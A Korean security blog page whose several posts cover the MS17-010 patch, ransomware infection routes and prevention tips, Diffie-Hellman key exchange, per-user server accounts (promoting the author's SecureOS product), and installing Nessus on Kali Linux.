마이크로소프트의 윈도는 문제도 많지만 그에 반해 패치도 참 많이 내놓는다. 이번 취약점도 3월 달에 다시 패치를 내놓았다. 또한 이 패치 말고도 MS17-10 취약점을 없앨 수 있는 여러 패치가 있다. 패치번호가 다른 블로그나 보안사이트와 다르다 하더라도 의심하지 말길 바란다. 

Windows 7 용 패치다. Windows 8 이상은 Windows 제어판에서 업데이트를 실행하면 된다. 

URL은 다음과 같다. http://www.catalog.update.microsoft.com/search.aspx?q=4012212





랜섬웨어란 무엇인가?

랜섬웨어는 "사용자의 동의 없이 컴퓨터에 불법으로 설치되어 사용자의 파일을 임의로 암호화한 뒤 복호화하기 위해서는 금전을 제공할 것을 강요하는데 이용되는 악성 프로그램"을 총칭하는 이름입니다.  우리나라에는 2015년을 전후하여 몇몇 유명한 커뮤니티를 통해 전파되어 큰 이슈가 되기도 하였습니다.   (관련 포스트 보러가기 : http://blogger.pe.kr/483)


랜섬웨어의 감염경로

제가 근무하던 직장이 보안 회사임에도 불구하고 2016년 말과 2017년 초 두 차례나 임직원의 PC에 랜섬웨어가 감염되어 문서파일들과 스프레드시트 파일, 이미지 파일 그리고 심지어 아웃룩 데이터파일까지 암호화 되어 있는 것을 목격하였을 만큼 최근의 랜섬웨어로 인한 피해는 상상을 초월하는 듯 합니다. 


하지만 두 사건 모두 피해자의 공통적인 답변은 "난 아무것도 한게 없다" 입니다. 의심스런 메일에서 파일을 다운로드 받거나 첨부된 URL을 클릭한 것도 아니고 P2P나 파일 다운로드 사이트에서 의심스런 파일을 다운로드 받아 실행한 적도 없다는 것입니다. 그런데도 랜섬웨어는 컴퓨터에 침입하여 중요한 정보가 담긴 파일들을 암호화하고 돈을 요구하는 팝업창을 띄웁니다.


랜섬웨어에 의해 암호화된 파일들랜섬웨어에 의해 암호화된 파일들



랜섬웨어가 감염되는 경로를 알아보면 다음과 같습니다.


1. 웹 서핑


최근 가장 흔한 경우 입니다. 이 경우 피해자는 "난 아무것도 한게 없다"고 말할 수 밖에 없습니다. 그리고 그 말은 사실일 수도 아닐 수도 있습니다. 단지 웹 서핑을 했을 뿐 파일을 다운로드 받지도 의심스런 URL을 클릭한 적도 없습니다. 그냥 뉴스를 보거나 커뮤니티에서 재미난 글들을 보고 있었을 뿐입니다.


이런 경우는 모두 "Drive-by Download" 라는 공격기법에 의해 랜섬웨어가 PC에 다운로드 되고 실행된 것이라고 봐야 합니다. "드라이브 바이 다운로드" 공격은 악성코드가 담긴 웹페이지를 보기만 해도 악성코드가 PC에 생성되거나 다운로드 됩니다. 


원인은 1. 브라우저 자체의 취약점 혹은 2. 브라우저에서 실행되는 플러그인의 취약점 입니다. 플러그인 이라함은 브라우저에서 실행되는 어도비 플래시 플레이어와 같은 플러그인 또는 ActiveX 컨트롤 등을 모두 포함합니다.

인터넷익스플로러(IE), 크롬(Chrome), 파이어폭스(FireFox) 등은 HTML, Java Script, 플러그인 등이 실행되는 하나의 운영체제와 같습니다. 때문에 많은 버그를 갖고 있으며 특정 버그는 보안상 취약점으로 악용되기도 합니다. 이 보안 취약점을 악용하면 브라우저나 브라우저 위에서 실행되는 플러그인(ActiveX 포함)에서 공격자(해커)가 원하는 악성코드(실행코드)를 실행시킬 수 있습니다. 1차로 브라우저나 플러그인을 공격하는 악성코드는 2차로 PC에 랜섬웨어나 다른 멀웨어(Malware)를 다운로드 받게 하거나 직접 생성할 수 있습니다.


2. 첨부 URL 클릭


이메일이나 네이트온이나 카카오톡과 같은 메신저 혹은 트위터나 페이스북 같은 SNS에 올려져 있는 URL을 클릭하는 순간 악성코드를 다운로드 받게되고 그 다운로드 받은 파일을 여는 순간 랜섬웨어나 멀웨어에 감염됩니다.


3. 파일 다운로드 및 실행


이 경우 또한 이메일이나 메신저 혹은 SNS에 첨부되어 있는 파일을 다운로드 받고 실행하거나 특정 유틸리티가 필요해 P2P나 파일공유사이트에서 파일을 다운로드 받고 설치하면서 악성코드가 함께 설치되는 경우입니다.


실제로 2번과 3번의 경우 많은 사람들이 위험성을 알고 있기 때문에 주의하는 반면 1번 웹서핑 중 사용자도 모르게 랜섬웨어나 멀웨어에 감염되는 경우에는 황당할 수 밖에 없습니다. 그래서 피해자들이 하나같이 "나는 아무것도 안했다"는 거짓말 아닌 거짓말을 하게 되는 것입니다.


랜섬웨어의 특징과 증상

많은 분들이 랜섬웨어에 대해 잘 알고 있는 듯 하지만 실제로는 잘 모르는 경우가 많습니다. 랜섬웨어의 특징을 몇가지 살펴보도록 하겠습니다.


1. 랜섬웨어는 백신에서 차단할 수 없다.


백신을 설치하면 랜섬웨어도 차단할 수 있다고 알고 있는 사람들이 많습니다. 하지만 이것은 80% 쯤은 거짓입니다. 오래된 랜섬웨어는 랜섬웨어 파일의 Hash 정보를 이용해 랜섬웨어가 실행되면 탐지하고 차단할 수 있지만 백신에 의해 차단될 때 쯤엔 변형된 새로운 랜섬웨어가 유행합니다. 랜섬웨어는 컴퓨터 바이러스나 자기복제형, 기생형 등 악성코드가 갖고 있는 악성코드의 특징을 거의 갖고 있지 않습니다. 그저 문서파일과 이미지파일 아웃룩 데이터파일 등을 찾아 암호화할 뿐입니다. 따라서 백신들이 자랑하는 알려지지 않은 악성코드를 차단하는 기능들로도 차단할 수 없습니다.


오히려 FireEye와 같이 샌드박싱 기술을 통해 웹에서 혹은 이메일에서 다운로드 받는 파일을 검사하는 것이 탐지를 용이하게 해줍니다. 하지만 이 또한 완전하지 않은데 그 이유는 In-Line 방식으로 다운로드를 잡아둘 수 없기 때문입니다. FireEye에서 랜섬웨어 임을 탐지하는 순간 이미 사용자 컴퓨터의 파일들은 모두 암호화된 이후일 가능성이 매우 높기 때문입니다. 반면 이메일의 경우 차단할 수 있는 가능성이 조금 더 높습니다. 이메일에 첨부된 랜섬웨어는 FireEye 혹은 메일게이트웨이 솔루션인 웹센스(WebSense)와 같은 메일게이트웨이에서 잠시나마 잡아둘 수 있기 때문에 첨부파일을 분석하고 차단할 수 있는 시간을 벌 수 있기 때문입니다.


2. 랜섬웨어는 스스로를 네트워크에 전파하지 않는다.


랜섬웨어는 앞에서도 말했든 대부분의 악성코드가 갖고 있는 특징적인 행위들을 하지 않습니다. 때문에 한대에 감염된 랜섬웨어는 내부 네트워크를 통해 전파되지 않습니다. (아직까지는....)  다만 A라는 컴퓨터에 랜섬웨어가 감염되면 컴퓨터 A의 디스크에 저장된 파일들을 암호화하고 컴퓨터 A에서 접근가능한 컴퓨터들 중 "공유폴더"가 있다면 그 공유폴더의 파일들도 암호화 합니다.  다만 그 공유폴더의 파일들이 "읽기"만 가능한 모드라면 암호화하지 못합니다. 만약 조직의 컴퓨터들 중 두대가 랜섬웨어에 의해 피해를 입었다면 두 사용자가 각각 따로 따로 랜섬웨어에 감염되었다고 생각해야 합니다. 랜섬웨어는 아직까지 스스로를 다른 컴퓨터에 감염시킨 사례가 보고된 적은 없습니다.


3. 랜섬웨어는 다양한 파일을 암호화한다.


랜섬웨어는 일단 컴퓨터에 설치되고 실행되면 주로 문서파일, 이미지파일, 아웃룩 파일 등 데이터가 담긴 파일들을 "확장자" 기준으로 검색하여 암호화 합니다. 그리고 실행된 컴퓨터에서 접근 가능한 네트워크 상의 "공유폴더"를 찾아 그 안의 파일들도 암호화를 시도합니다.

그리고 안티 랜섬웨어 기능들이 백신에 포함되어 있는데 최근에는 이 안티 랜섬웨어 기능을 우회하는 랜섬웨어들이 대부분입니다. 


* 안티랜섬웨어 기능


초기에는 드라이브의 최상위 폴더에 특수문자로 시작되는 폴더를 만들고 그 안에 미끼가 되는 문서파일과 이미지 파일을 만들고 이 파일들을 건드리는 프로그램이 있다면 랜섬웨어로 판단하고 차단하는 기능으로 시작하였으나 이후 랜섬웨어들이 이러한 미끼 폴더에 대해 우회하는 기능을 추가하였고 이에 따라 백신에서는 브라우저나 이메일클라이언트에서 다운로드되는 파일을 격리하고 샌드박스 및 클라우드 분석을 수행하는 등 진화하고 있으나 아직은 미완의 기능으로 보임.


랜섬웨어가 창궐하는 이유

최근 2~3년 사이에 랜섬웨어가 창궐하는 이유는 랜섬웨어가 변종을 만들기가 쉽기 때문이며 가장 큰 이유는 바로 비트코인 때문입니다. 


랜섬웨어는 사용자 몰래 파일을 암호화하고 사용자를 협박하여 복호화할 수 있는 툴을 판매하기 위한 악성 프로그램입니다. 하지만 비트코인 이전에는 피해자로부터 금전을 안전하게 수취하는 것이 쉽지 않았습니다. 일반 은행계좌의 경우 해커의 신분이 노출되는 것은 시간문제이며 직접 만나 금전을 받을 수도 없었습니다.


그런데 비트코인이 등장하면서 익명성을 내세워 비트코인으로 금전을 안전하게 수취할 수 있게 되었습니다. 실제로도 피해자와 해커의 중간에서 중계를 해주는 브로커가 인터넷에서 활동하고 있을 정도이며 브로커를 통해 돈을 주고 문서를 복구하는 사례도 일반에 알려진것 보다 많은 것으로 보입니다.



랜섬웨어의 예방법

랜섬웨어는 일단 감염되어 파일이 암호화되면 해커에게 돈을 지불하지 않고는 복호화할 수 없으며 파일 복구 업체들도 복구하지 못한다고 봐야합니다. 따라서 "예방"이 최선의 방법입니다.


다음과 같은 예방 수칙을 준수한다면 랜섬웨어 감염 가능성을 최소화 할 수 있으며 감염되더라도 안전하게 복구할 수 있습니다.


1. 출처가 불명확한 이메일과 URL 링크는 실행하지 말 것


보낸 사람의 이메일 주소가 처음보거나 모르는 사람일 경우 메일에 첨부된 파일을 클릭하거나 또는 URL 링크를 클릭하지 말 것. 이메일을 통해 랜섬웨어가 유포되고 있어 실행 주의 필요


2. 파일 공유 사이트 등에서 파일 다운로드 및 실행하지 말 것


파일공유 사이트 또는 중소규모 커뮤니티, 인터넷 카페 등 신뢰할 수 없는 사이트를 통한 파일 다운로드 및 실행 주의 필요


3. 보다 안전한 웹 브라우저 사용


흔히 사용하는 IE 브라우저는 크롬, 파이어폭스 등과 비교하여 보안성이 떨어지며 특정 웹사이트 접속을 위해 보안 수준을 최저 수준으로 낮춰 사용하는 경우가 빈번함. 그로인해 IE 브라우저를 통해 웹서핑을 할 경우 웹사이트를 통해 전파되는 악성코드에 감염될 가능성이 매우 높음.


따라서 불편하더라도 크롬, 파이어폭스 등을 브라우저로 사용하고 그룹웨어, 인터넷 뱅킹, 조달청 등의 접속시에만 IE를 사용할 것을 권장 


4. 중요 자료는 정기적으로 백업


·  중요문서(hwp, 사진, 오피스문서, 아웃룩 이메일파일 등) 주기적 백업

·  외부 저장장치(외장하드, USB 등)등을 이용한 중요 문서를 외부에 별도 저장

·  운영체제에서 제공하는 ‘사용자 파일백업 및 복원기능’을 이용하고, 외부 저장소에 이중백업 권장

·  PC 및 네트워크에서의 “공유 폴더” 사용 주의 (부득이하게 공유폴더를 타 사용자에게 제공해야한다면 "읽기 전용"으로 제공


5. PC에서 사용중인 소프트웨어는 정기적으로 최신 버전으로 업데이트


·  운영체제(OS)와 응용 프로그램(SW)은 최신 보안 업데이트 상태로 인터넷 접속

·  Flash Player의 주기적인 업데이트 : 설정/제어판 → Flash Player 설정 관리자 → 업데이트 탭 → 

   ‘Adobe가 업데이트를 설치할 수 있도록 허용(권장)’ 선택, 혹은 ‘지금 확인’버튼을 눌러서 직접 업데이트

·  Java의 주기적인 업데이트 : 설정/제어판 → JAVA 제어판 →업데이트 탭 → ‘자동업데이트 확인’ 선택, 

   혹은 ‘지금 업데이트’ 버튼을 눌러서 직접 업데이트

·  기타 응용프로그램들도 제품상의 최신 업데이트 기능 활용하여 업데이트



  • 에스델 ♥ 2017.02.14 10:10 신고

    덕분에 랜섬웨어가 감염되는 경로를
    알게 되었고~
    랜섬웨어 예방법을 평소에 열심히
    실천해야겠습니다. ^^

    • 2017.02.14 23:26

      비밀댓글입니다


암호학은 어렵다.


아마도 나 처럼 수학에 약한 사람들은 암호학의 수식만 봐도 머리가 어지러워지기 시작할 것이다. 그리고 암호학 전문가가 보안전문가라는데 나는 동의하고 싶지 않다. 정보보안에 필요한 수학의 한 분야일 뿐이기 때문이다. 하지만 그 원리에 대한 기초적인 이해는 보안 전문가라면 반드시 필요하다. 


데이터를 암호화하는 기술은 사람들이 "비밀"을 갖게 된 시점부터 그 필요성이 대두되었고 사람들이 모인 조직이 만들어지면서 조직내의 비밀을 유지하기 위해 데이터를 암호화하는...일명 "암호학"이 발전하기 시작하였다. 


대칭키 암호화 알고리즘의 문제점

암호학은 비밀을 공유할 사람들만이 암호화하는데 사용할 "키(Key)"를 이용해 데이터를 암화화와 복호화(암호화 데이터를 원상태의 평문으로 변환하는 과정)하는 방향으로 발전하였다. 당연히 초기에는 암호화와 복호화에 동일한 키를 사용하였는데 이렇게 암호화 키와 복호화 키가 같은 암호화 방식을 "대칭키 암호화"라고 부른다.


하지만 대칭키 암호화 알고리즘의 키는 항상 유출의 가능성이 존재하고 암호키 유출 시 암호화된 모든 통신은 노출된다. 이렇게 한번 암호키가 노출되면 이후 주고받을 암호키도 노출되기 때문에 매우 치명적이다. 그래서 데이터를 대칭키로 암복호화하여 송수신할 때 송신자와 수신자가 암호키를 안전하게 주고 받는 암호키 분배 과정의 보안을 위해 사용하는 암호알고리즘이 비대칭키 암호알고리즘이다.


비대칭키 암호화

공개키 암호알고리즘이라고도 불리는 비대칭키 암호화는 말 그대로 암호화 키와 복호화 키가 비대칭, 즉 서로 다른 암호알고리즘이다. 대칭키 키 암호화 알고리즘을 완전하게 대치할 수 있는 완성된 암호알고리즘이지만 속도와 편의성 등의 문제로 인해 현재까지는 모든 평문을 암호화하는 형태로는 많이 사용되지 않고 데이터의 크기가 작은 대칭키 암호화에 사용할 암호키의 안전한 키교환 혹은 금융거래 등에서만 사용되고 있다.  


디피-헬만 키교환 알고리즘 (Diffie-Helman Key Exchange)

 흔히 디피-헬만 알고리즘을 암호알고리즘이라고 말하는 경우가 있는데 그건 아니다. 디피-헬만 알고리즘은 송신자와 수신자가 안전하게 통신할 대칭키 알고리즘에 사용할 암호키를 생성하는 종단간 키 교환 알고리즘이다. 하지만 이름과는 다르게 암호키 자체를 송신자와 수신자가 통신을 통해 주고 받지 않으며 암호화 알고리즘은 아니다.



먼저 Diffie-Helman의 키 생성 방식을 보면..


  • 송신자, 수신자, 해커가 있다.
  • 송신자가 임의로 선택한 소수 P와 정수 G (1부터 P-1까지 중 하나) 를 수신자에게 보낸다. (해커는 이 정보를 가로채 알 수 있다.)
  • 송신자는 임의로 정수 A를 선택한다. (수신자와 해커는 알 수 없다.)
  • 수신자도 임의로 정수 B를 선택한다. (송신자와 해커는 알 수 없다.)
  • 송신자는 G의 A제곱을 P로 나눈 결과값 a를 구한다. (
  • 수신자도 G의 B제곱을 P로 나눈 결과값 b를 구한다.
  • 송신자와 수신자는 서로 a와 b를 교환한다. (해커는 이 정보를 가로챌 수 있다.)
  • 송신자는 b를 받아 b의 A제곱을 P로 나눈 나머지 BB를 구한다.
  • 수신자는 a를 받아 a의 B제곱을 P로 나눈 나머지 AA를 구한다.


마지막에 송신자와 수신자가 수학적 공식에 의해 구한 BB와 AA가 이후의 통신에 사용할 암호키(대칭키)이며 BB와 AA는 동일한 값을 갖는다. 즉 AA == BB라는 이야기이며 송신자와 수신자가 안전하게 데이터 암호화에 사용할 대칭키(비밀키)를 교환(실제로는 암호키를 주고받는 것은 아님)하는 키 교환 알고리즘 중 하나이다.


알고리즘 설명

디피헬만의 알고리즘 설명은 생략한다. 다만 위키백과에서 아주 쉽게 실제 사례를 들어 설명해주고 있는 페이지가 있다.

참고하기 바란다.


위키백과의 디피-헬만 키 교환




요즘 심심치 않게 ISMS인증 또는 PCI/DSS 인증 등 여러 정보보안 관련 인증심사에 대비하는 기업이나 기관으로 부터 RedCastle SecureOS와 AuthCastle 등의 제품소개를 요청받는 경우가 있습니다.  왜냐하면 ISMS 등 심사에서 인증기준으로 삼는 수 많은 통제항목 중 "서버"에 관련된 심사항목은 많을 수 밖에 없고 운영체제의 보안설정이나 취약점제거 만으로는 해당 통제항목의 요구사항을 충족하기 어려울 뿐만아니라 통합관리가 어렵기 때문입니다.


서버에 대한 접근통제, 중요 감사로그 파일에 대한 위변조 차단, 소스파일에 대한 보호, 서버의 패스워드 통제 그리고 중요한 암호화키 및 중요 데이터가 저장된 파일에 대한 읽기/수정/삭제 통제와 무결성 보장 등 다수의 서버에 대한 정보보호 수준을 높이기 위한 활동은 무척 어려운 사안일 수 밖에 없습니다. 


하지만 그러한 서버의 보안수준을 높이기 위해 무엇보다 먼저 시행해야 하는 것은 서버에 접속하는 개발자 및 관리자들에 대한 1인1계정 부여입니다. 즉, 내부통제 강화죠.


무시되는 Unix/Linux 서버에서의 1인 1계정


Unix/Linux 서버는 기본적으로 다중사용자를 지원하는 서버 운영체제입니다. 그래서 서버의 운영자가 웬만큼 많지 않고서는 서버의 보안강화를 위한 "1인1계정" 원칙을 지켜 서버에 로그인 해야하는 개발자와 운영자에게 각각 개인 계정을 발급해도 전혀 문제가 되지 않습니다.



하지만 실제 서버의 운용 상황은 그렇지 않습니다. 실제 수많은 기업이나 금융기관 혹은 공공기관에서 운용하는 서버에 접속해 보면 root와 같은 서버 운영체제의 수퍼유저 계정과 oracle, jeus 등 별도의 계정이 필요한 시스템SW와 데이터베이스 관리자 계정 이외의 개발자나 서버운영자의 개인계정은 찾아보기 힘듭니다.


실제로 하나의 서버에 Telnet, SSH 등을 통해 접속하는 개발자나 운영자는 적게는 두세명에서 많게는 10여명이 넘기도 합니다. 여러사람이 root, oracle, jeus 등의 매우 크리티컬한 계정으로 직접 로그인하여 권한의 분리를 수행하지 않는게 현실입니다. 그리고 이러한 행위를 "통제"하거나 "제한"할 만한 서버 운영체제에 대한 보안적 지식을 갖고 있는 사람이 없는 것 또한 현실입니다. 조직의 보안관리자나 경영진은 서버 운영체제에 대한 지식이 부족한 경우가 태반이기 때문에 서버의 운영조직에서 "그렇게 해야한다"고 하면 "OK"하는 경우가 대부분입니다.


하지만 보안 관점에서 다수의 개발자나 운영자가 공용계정으로 직접 로그인하는 것은 매우 큰 위협요인 입니다.


사고가 발생해도 누가 언제 서버에 로그인하여 사고의 원인이 되는 작업을 수행했는지 실제 작업자를 식별할 수 없습니다. 그리고 사고를 인지하는 것은 사고의 원인이 된 행위가 발생한지 오랜 시간이 지난 뒤인 경우가 많기 때문에 이미 꽤 긴 시간이 흘러 실제 누가 로그인했는지 확인하기 어려운 경우가 대부분입니다. 특히 개인정보의 유출과 같은 사고는 더욱 그러합니다.


그럼에도 불구하고 서버에 계정이 많으면 "시스템이 느려진다", "작업이 너무 어렵다", "서비스 운영이 안된다", "계정 관리가 어렵다" 등 설득력 부족한 이유를 들어 모든 개발자나 운영자의 root  또는 oracle 계정의 직접 접속을 고집하는 경우가 많습니다.


(Windows서버는 구조적으로 더 큰 문제를 안고 있습니다. 보안이 조금이라도 중요한 서비스를 Windows 서버에 구현하는 것은 솔직히 보안 관점에서 권하고 싶지 않습니다.)



1인 1계정의 장점

Unix나 Linux 서버에서 서버 운영자, 개발자의 개인계정을 생성하여 운영하는 것은 정보보안 측면 뿐만아니라 시스템의 효율적이고 안정적인 운영에 큰 도움이 됩니다. 


먼저 서버의 보안이 강화됩니다.


서버 개발자나 운영자가 개인계정으로 접속하여 su 명령을 통해 한번 더 root 비밀번호를 입력해야 하므로 2단계의 인증을 거치게 됩니다. 또한 root 계정으로의 직접 접속을 원천적으로 차단할 수 있기 때문에 보안성은 높아집니다. 그래서 서버 운영체제에서도 기본적으로 root 계정으로의 접속을 차단하는 기능을 제공하는 것입니다. 


그리고 sudo 명령의 사용은 권장되지 않습니다. 흔히 개인계정으로 접속한 뒤 sudo - 명령으로 root 권한으로 넘어가게 하는 경우가 있는데... 세부적인 명령어 통제까지 수행하지 않으면 오히려 보안성이 낮아지는 부작용이 생깁니다.


그리고 1인 1계정을 사용하면 책임추적성을 확보할 수 있습니다. 


서버 운영체제는 각 계정으로 접속하는 시점에 누가 어느 IP에서 접속했고 언제 접속을 끊었는지에 대한 기록을 남깁니다. 그런데 모든 접속이 root, oracle 등으로 남게 되면 실제 해당 세션이 누가 접속한 것인지 확인이 불가능합니다. 하지만 1인 1계정 원칙을 지키면 실제 접속자가 누구인지를 오랜시간이 지난 뒤에도 추적할 수 있게 됩니다. 게다가 누가 언제 su 명령을 통해 root 계정으로 전환했는지 실제 사용자를 시간이 지난 뒤에도 확인할 수 있습니다.


또한 서버의 파일시스템 정리가 용이해지고 깨끗해집니다.


서버에 파일을 업로드 할 때 root 계정으로 파일을 업로드하면 업로드 된 파일들이 여기저기 흩어져 남게 됩니다. 임시 디렉토리도 root 계정으로 생성되고 삭제되지 않은채 남게 되는 경우가 많습니다. 그리고 시간이 흐르면 그 파일들이 서비스 운영에 필요한 파일인지 식별하기 어렵습니다. 하지만 1인1계정 원칙을 지키면 작업을 위해 최초로 업로드하는 파일은 개인의 홈디렉토리에 업로드됩니다. 그리고 압축을 풀고 준비과정을 거친 뒤 root 계정이나 SW 관리자 계정으로 넘어가 시스템에 적용됩니다. (물론 작업 과정은 한두과정을 더 거치게 됩니다만 그리 긴 시간이 더 걸리지는 않습니다.)

때문에 작업 후에도 개인계정의 소유자로 생성된 파일들은 서비스에 관련되지 않은 파일이기 때문에 삭제해도 서비스 운영에 문제가 없습니다. 당연히 서버는 깨끗해지는 효과를 얻을 수 있습니다.


공용계정 (root, oracle 등)의 치명적인 단점 - Super User 계정이라는 것..!!

root 계정은 Super User 계정입니다. oracle과 같은 어플리케이션 관리자 계정은 해당 어플리케이션의 Super User 계정입니다. Super User 계정은 서버 내에서는 전지전능한 계정입니다. 다른 계정으로 비밀번호 없이도 이동이 가능하고 root에서 접근을 차단해 둔 파일에도 차단을 해제하고 접근할 수 있습니다. 심지어 보안 정책으로 규정한 비밀번호 복잡성 규칙마저도 무시할 수 있는 전지전능한 계정입니다.


이렇듯 서버 운영체제와 서버에 설치된 수 많은 애플리케이션 그리고 데이터베이스 입장에서 root 계정과 oracle 등의 계정은 "전지전능"의 능력을 가진 계정입니다. 때문에 root 계정이나 데이터베이스 관리자 계정인 oracle과 같은 계정을 별다른 통제 없이 여러 사람이 무차별적으로 사용하는 것은 생선을 고양이 여러마리에게 지키도록 한 것과 같습니다. 말 잘듣는 착한 고양이가 배가 부를 때는 문제가 없지만 배가 고픈 상태가 되면 언제 생선을 먹어치워도 전혀 이상한 일이 아닙니다. root 비밀번호를 알고 직접 접속할 수 있는 사용자가 악의적 목적을 갖는 범죄자로 변신하는 것 또한 전혀 이상한 일이 아닙니다 사람이 나쁜게 아니라 사람이 나쁘게 변할 수 있도록 방치하는 것 또한 "방관"의 범죄를 저지르는 것 일 수 있습니다.


보호대책

사실 이러한 취약성과 위협에 대응할 수 있는 솔루션은 SecureOS가 유일합니다. 일부 응용단에서 키보드 입력을 가로채 명령어 통제와 행위 감사를 수행하는 솔루션이나 네트워크 수준에서 동작하는 게이트웨이 방식의 솔루션이 있지만 그 기술적 수준이 낮기 때문에 얼마든지 우회가 가능합니다. 심지어 그런 홀(hole)이 있기 때문에 도입하여 사용하고 있다는 웃지못할 이야기까지도 들리죠. (엔지니어들은 우회방법을 알기 때문에 불편함 없이 서버에 접속하여 작업할 수 있다는 이야기... -.-) 


보안그룹과 등급에 따른 계정 이동(SU) 통제 정책을 수립하고 root 계정에서도 해제할 수 없는 비밀번호 규칙 설정과 중요 파일에 대한 무결성 보장 및 명령어 실행 통제를 수행하면 됩니다. 또한 응용 수준에서의 행위감사 추적과 커널 수준에서의 행위 추적 그리고 서버 접근통제 및 파일 위변조 통제 기능 등을 통해 보안을 강화할 수 있습니다.


다른 여러 보안 솔루션을 통해 서버의 보안을 강화하려는 기업이나 기관이 많지만 SecureOS를 도입하여 사용하는 것이 서버를 운용하는 조지에서 선택할 수 있는 가장 현명한 보호대책이 아닐까 생각됩니다.


  • 지후대디 2016.02.06 22:42 신고

    1인 1계정도 요즘은 자리잡고는 있는데 옛사람이라 그런지 아직도 계정을 같이 쓰던 시절이 편했던것 같습니다.
    그래도 과거와는 비교도 안되게 보안이 중요해진 시대이니 잘 지켜야 겠지요 ^^
    새해 복 많이 받으시고 즐거운 명절 되세요~

    • taeho Tae-Ho 2016.02.09 16:18 신고

      감사합니다~ 지후대디님도 가족과 함께 즐거운 설연휴 보내셨기를 바랍니다~


Nessus는 매우 유명한 보안 취약점 점검 도구 입니다. 원래는 무료버전으로 제공이 되었었는데 기능이 강화되면서 유료로도 판매를 하고 있을만큼 유명한 보안 취약점 점검도구 입니다. 


오늘은 칼리 리눅스에 네서스를 설치하는 과정을 기록해두고자 이 포스트를 작성합니다. 칼리리눅스에는 아쉽게도 네서스가 포함되어 있지 않습니다. 그래서 별도로 설치를 해야합니다. 


먼저 네서스 홈페이지에서 설치 파일을 다운로드 받습니다. 설치할 운영체제의 종류와 버전에 따라 다운로드 받습니다. 전 칼리리눅스이기 때문에 Debian 버전을 받습니다. 칼리리눅스는 데비안 리눅스를 기반으로 만들어져 있기 때문입니다.



아래 화면에 Nessus-6.5.4-debian6_amd64.deb 파일이 설치파일입니다.

dpkg 명령으로 설치합니다.



아래 화면과 같이 dpkg 명령으로 설치가 되었습니다.



웹 인터페이스를 제공하는 Nessus 서비스 대몬을 구동합니다.

정상적으로 설치되었다면 /etc/init.d 디렉토리에 서비스를 구동하는 nessusd 라는 스크립트가 있습니다.



칼리리눅스에 포함되어 있는 파이어폭스 브라우저를 이용해 아래와 같이 접속합니다.

127.0.0.1 은 칼리리눅스 자신의 localhost 를 의미합니다. 8834는 네서스가 서비스되는 웹서비스 포트번호입니다.




접속하면 다음과 같이 환영메시지가 보입니다.



위 화면에서 Continue 버튼을 누르면 계정을 생성합니다. 헷갈리니까...칼리리눅스의 root 계정과 동일하게 ID를 만들었습니다.



음...등록하라고 나옵니다. 프리웨어지만 tanable 웹사이트에서 무료 라이센스 키를 받아야 합니다. 아래 화면 중간에 있는 "Registering this scanner" 링크를 눌러 키를 발급받는 페이지로 연결합니다.



세가지가 보입니다. 당연히 무료버전을 설치할 것이기에 Free~의 "Register Now"를 선택합니다. 기업에서 업무용으로 사용하거나 보안컨설팅의 취약점 점검 목적이라면 더 편리한 기능을 제공하므로 유료라이센스를 구입하는 것이 더 적합합니다.



라이센스 발급을 위한 정보를 입력하라고 요구합니다.

라이센스는 여기에서 입력한 이메일 주소로 전송되어 옵니다.



이메일로 전송되었다는 메시지 입니다.



이메일로 전송되어 온 라이센스 키(Activation Code)를 입력합니다.



그런데 최종 단계인 초기화 단계에서 아래 처럼 Download Failed 에러가 납니다. 원인은 알 수 없었습니다만..

화면 하단에 메시지가 보입니다. 


수동으로 'nessuscil update' 명령을 실행하라고 합니다. 



그런데 nessuscli 명령은 PATH에 포함되어 있지 않습니다. 그래서 find 명령으로 찾았습니다.

그리고 nessuscli update 명령을 실행합니다.  일정시간 0% 메시지가 나오더니 다운로드를 받기 시작합니다. 네트워크 상태에 따라 조금 시간이 걸릴 수 있습니다.



드디어 정상적으로 update 되었습니다.



이제 nessusd 서비스를 재기동 해야 합니다. 아래와 같이 재기동 합니다.



그리고 브라우저를 실행하여 다시 Nessus 서비스에 접속합니다. 이 단계에서 시간이 매우 오래걸렸습니다. 이 칼리리눅스 머신은 i5 노트북에서 VMWare를 이용하여 가상머신으로 설치하였습니다. 메모리는 2G를 설정했는데 메모리를 Full로 사용합니다. 다행스럽게 무한정 메모리를 할당받지는 않아서 다운되지는 않았습니다. 약 15분 이상 걸린 것으로 기억이 되네요.

하여튼 기다리면...완료되었습니다.



앞에서 생성한 계정으로 로그인합니다.



정상적으로 로그인이 되었습니다.



설치가 완료되었습니다.


설치된 기념으로 웹 취약점 점검을 실행시켜봤습니다.

취약점이 꽤...나오네요... 오래된 아파치라 그런가 봅니다.



포스트를 마칩니다.



  • 지후대디 2016.01.03 22:02 신고

    즐거운 신년 연휴 보내셨는지요?
    작년에 얼굴도 한번 뵙고 우연히 인연을 이어가게 된것 같습니다.
    새해에도 만사형통 하시고 복 많이 받으세요~

    • taeho Tae-Ho 2016.01.03 23:04 신고

      ㅎㅎ 네.. 앞으로도 좋은 인연 이어갔으면 하는 바램입니다. 좋은 친구가 되었으면 합니다. ^^
      지후대디님과 가족분들 모두 복 많이 받으시길 기원합니다~


칼리리눅스(Kali Linux) 2.0 릴리즈

얼마 전 백트랙의 후속으로 발표된 칼리리눅스가 몇번의 작은 업데이트를 거쳐 2.0 으로 새롭게 릴리즈되었습니다. 칼리리눅스는 서버의 모의해킹과 취약점 점검에 활용되는 대표적인 도구인데 많은 화이트해커들에게 애용되고 있는 도구입니다. 당연히 저도 이따금씩 서버에 대한 보안점검을 할 때 사용하곤 합니다. 


칼리리눅스는 다음의 주소에서 다운받으면 됩니다. ISO 이미지를 받아 vmware 같은 가상머신 솔루션에서 원하는 대로 설치해서 사용해도 되고 가상머신 이미지를 받아 설치 과정없이 사용해도 됩니다. 다만 이 포스트에서 설명할 한글설정이나 원격데스크탑을 이용한 접속을 사용하려면 전자의 방식으로 설치를 하는 것이 좋습니다.


칼리리눅스 공식 다운로드 페이지 : https://www.kali.org/downloads/


칼리리눅스 2.0의 한글깨짐 문제

칼리리눅스 2.0은 어떤 원인인지는 모르겠지만 한글폰트가 포함되어 있지 않습니다. 그래서 설치 중 언어와 로케일을 맞춰줘도 한글이 표시되지 않고 다음처럼 깨져서 보입니다.



이 문제는 apt-get 을 이용해 원격 리포지토리에서 한글폰트를 설치하면 됩니다. 이 문제 해결과 관련된 내용은 구글링을 해보면 많이 나오기 때문에 자세히 설명하진 않겠습니다. 참고로 IT보안을 취미로 하신다는 분의 블로그를 소개할테니 방문하여 따라하면 됩니다. (여기로~)

덤으로 VMWare를 사용한다면 VMWareToos 설치까지 나와 있으니 함께 설치하여도 좋습니다.


